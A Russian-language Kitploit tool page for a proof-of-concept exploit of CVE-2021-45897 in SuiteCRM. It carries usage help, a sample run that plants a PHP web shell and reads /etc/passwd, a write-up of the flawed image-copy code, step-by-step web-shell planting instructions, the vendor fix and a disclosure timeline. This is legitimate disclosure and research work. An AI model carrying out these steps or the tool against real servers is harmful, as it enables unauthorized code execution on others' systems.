Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2021-45897 — Аутентифицированный эксплойт RCE для SuiteCRM <= 8.0.1 через загрузку изображения в шаблоне электронной почты, внедрение PHP-веб-шелла для удалённого выполнения команд. | Kitploit
Инструменты/GitHubGitHub/manuelz120/cve-2021-45897
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеРазработка Полезной Нагрузки
GitHubmanuelz120/cve-2021-45897

CVE-2021-45897

Аутентифицированный эксплойт RCE для SuiteCRM <= 8.0.1 через загрузку изображения в шаблоне электронной почты, внедрение PHP-веб-шелла для удалённого выполнения команд.

Репозиторий
1854 лет назадЕщё не проверено
Сайт

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2021-45897

PoC для CVE-2021-45897, также известной как SCRMBT-#180 — RCE через Email-Templates (только для аутентифицированных пользователей) в SuiteCRM <= 8.0.1

Эта уязвимость была сообщена в SalesAgility и исправлена в SuiteCRM 7.12.3 и SuiteCRM Core 8.0.2. Если вы используете более старые версии SuiteCRM, настоятельно рекомендую обновиться.

Использование

Установка

  1. Убедитесь, что у вас установлена свежая версия python3 и pip.
  2. Склонируйте репозиторий: git clone https://github.com/manuelz120/CVE-2021-45897.git
  3. Установите необходимые библиотеки pip3 install -r "requirements.txt"
  4. Наслаждайтесь :)

Доступные опции:

root@kitploit:~
(.venv) ➜  CVE-2021-45897 git:(main) ✗ ./exploit.py --help
Usage: exploit.py [OPTIONS]

Options:
  -h, --host TEXT        Root of SuiteCRM installation. Defaults to
                         http://localhost
  -u, --username TEXT    Username
  -p, --password TEXT    password
  -P, --payload TEXT     Shell command to be executed on target system
  -d, --is_core BOOLEAN  SuiteCRM Core (>= 8.0.0). Defaults to False
  --help                 Show this message and exit.

  https://github.com/manuelz120/CVE-2021-45897

Пример использования:

root@kitploit:~
(.venv) ➜  CVE-2021-45897 git:(main) ✗ ./exploit.py -u user -p <redacted> --payload "cat /etc/passwd"
INFO:CVE-2021-45897:Login did work - Planting webshell as Note
INFO:CVE-2021-45897:Note with paylaod located @ 6da23afd-06a0-c25a-21bd-61f8364ae722
INFO:CVE-2021-45897:Successfully planted payload at http://localhost/public/6da23afd-06a0-c25a-21bd-61f8364ae722.php
INFO:CVE-2021-45897:Verifying web shell by executing command: 'cat /etc/passwd'
INFO:CVE-2021-45897:------ Starting command output ------
INFO:CVE-2021-45897:root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
INFO:CVE-2021-45897:------  Ending command output  ------
INFO:CVE-2021-45897:Enjoy your shell :)

Writeup

Недавно я обнаружил интересный вектор RCE-атаки в PHP-основанном SuiteCRM Software. Уязвимость позволяет аутентифицированному атакующему с доступом к модулю EmailTemplates загружать вредоносные PHP-файлы, которые можно использовать для получения удалённого выполнения кода.

С моей точки зрения, общая обработка загрузки файлов в SuiteCRM выглядит довольно безопасной. Хотя там много кастомного кода, разработчики уделили пристальное внимание либо удалению любых расширений файлов (что происходит для большинства типов файлов), либо проверке расширений и санитизации содержимого в случае изображений. Существует даже интерфейс плагинов для подключения сторонних антивирусных сканеров и обработки ими любых загрузок.

Однако я случайно наткнулся на одну интересную маленькую функцию, скрытую в public/legacy/modules/EmailTemplates/EmailTemplate.php:

root@kitploit:~
private function repairEntryPointImages()
{
    global $sugar_config;

    // repair the images url at entry points, change to a public direct link for remote email clients..


    $html = from_html($this->body_html);
    $siteUrl = $sugar_config['site_url'];
    $regex = '#]*[\s]+src=[\s]*["\'](' . preg_quote($siteUrl) . '\/index\.php\?entryPoint=download&type=Notes&id=([a-f0-9]{8}\-[a-f0-9]{4}\-[a-f0-9]{4}\-[a-f0-9]{4}\-[a-f0-9]{12})&filename=.+?)["\']#si';

    if (preg_match($regex, $html, $match)) {
        $splits = explode('.', $match[1]);
        $fileExtension = end($splits);
        $this->makePublicImage($match[2], $fileExtension);
        $newSrc = $sugar_config['site_url'] . '/public/' . $match[2] . '.' . $fileExtension;
        $this->body_html = to_html(str_replace($match[1], $newSrc, $html));
        $this->imageLinkReplaced = true;
        $this->repairEntryPointImages();
    }
}

private function makePublicImage($id, $ext = 'jpg')
{
    $toFile = 'public/' . $id . '.' . $ext;
    if (file_exists($toFile)) {
        return;
    }
    $fromFile = 'upload://' . $id;
    if (!file_exists($fromFile)) {
        throw new Exception('file not found');
    }
    if (!file_exists('public')) {
        sugar_mkdir('public', 0777);
    }
    $fdata = file_get_contents($fromFile);
    if (!file_put_contents($toFile, $fdata)) {
        throw new Exception('file write error');
    }
}

SuiteCRM позволяет пользователям создавать email-шаблоны. Шаблоны также могут содержать вложения, которые хранятся в отдельном модуле (модуль Notes). Пользователи могут прикреплять произвольные файлы к email-шаблонам. Содержимое файла никак не санитизируется. Однако оно хранится без расширения, поэтому даже если файл содержит потенциально вредоносный PHP-код, он не будет выполнен веб-сервером. Аутентифицированные пользователи также могут скачивать эти вложения по ссылке формата /index.php?entryPoint=download&type=Notes&id=<note-id>.

Функция repairEntryPointImages вызывается всякий раз, когда email-шаблон сохраняется или открывается. Если мы посмотрим на код, то увидим, что он парсит разметку (body_html) email-шаблона и ищет HTML-теги img с особым атрибутом src. Регулярное выражение по сути повторяет формат внутренней ссылки для скачивания вложений. Однако эти ссылки работают только для пользователей, аутентифицированных в SuiteCRM, что, скорее всего, не относится к получателю письма. Поэтому SuiteCRM автоматически создаёт копию вложения в папке public веб-сервера и заменяет внутреннюю ссылку скачивания на публичную версию. Чтобы email-клиент корректно отображал изображения, также добавляется расширение файла. Однако расширение целевого файла в публичной папке берётся напрямую из параметра запроса filename атрибута src изображения и не проверяется (обратите внимание, что filename не запускает никакой другой логики и может быть выбран свободно).

Теперь у нас есть всё необходимое, чтобы создать эксплойт, который загружает PHP-вебшелл в папку public:

  1. Создайте новое email-вложение / запись в модуле Notes, загрузив PHP-вебшелл. Запомните id записи Note
  2. SuiteCRM сохранит файл вебшелла без расширения в папке загрузки
  3. Убедитесь, что вы можете скачать PHP-файл, обратившись к /index.php?entryPoint=download&type=Notes&id=<note_id>
  4. Создайте новый email-шаблон и добавьте тег изображения, который соответствует регулярному выражению в repairEntryPointImages, но использует .php для параметра запроса filename (например, /index.php?entryPoint=download&type=Notes&id=<note_id>&filename=pwned.php" />).
  5. Сохраните / перезагрузите email-шаблон — SuiteCRM выполнит функцию repairEntryPointImages и скопирует наш вебшелл с расширением .php в папку public
  6. Наслаждайтесь вашим шеллом по адресу http://<<host>>/public/<<note_id>>.php

Реализованное исправление

Вскоре после моего отчёта были выпущены новые версии SuiteCRM (7.12.3 и 8.0.2), содержащие следующее исправление:

patch.png

https://github.com/salesagility/SuiteCRM-Core/commit/5d699396379d7af8697ec985ebc425836202ed43#diff-fb3b09c19812fa070cc86927149c52ef4bffc3057a82249a12f4a82bc0dd576dR922-R926

Это гарантирует, что в repairEntryPointImages используются только допустимые расширения файлов изображений, и предотвращает создание файлов с расширениями, не входящими в белый список, такими как .php.

Хронология

  • 21/12/2021: Уязвимость обнаружена и сообщена в SuiteCRM
  • 22/12/2021: Уязвимость подтверждена вендором (SalesAgility)
  • 27/01/2022: Выпуск исправленных версий (SuiteCRM 7.12.3 и SuiteCRM Core 8.0.2)
Скачать инструмент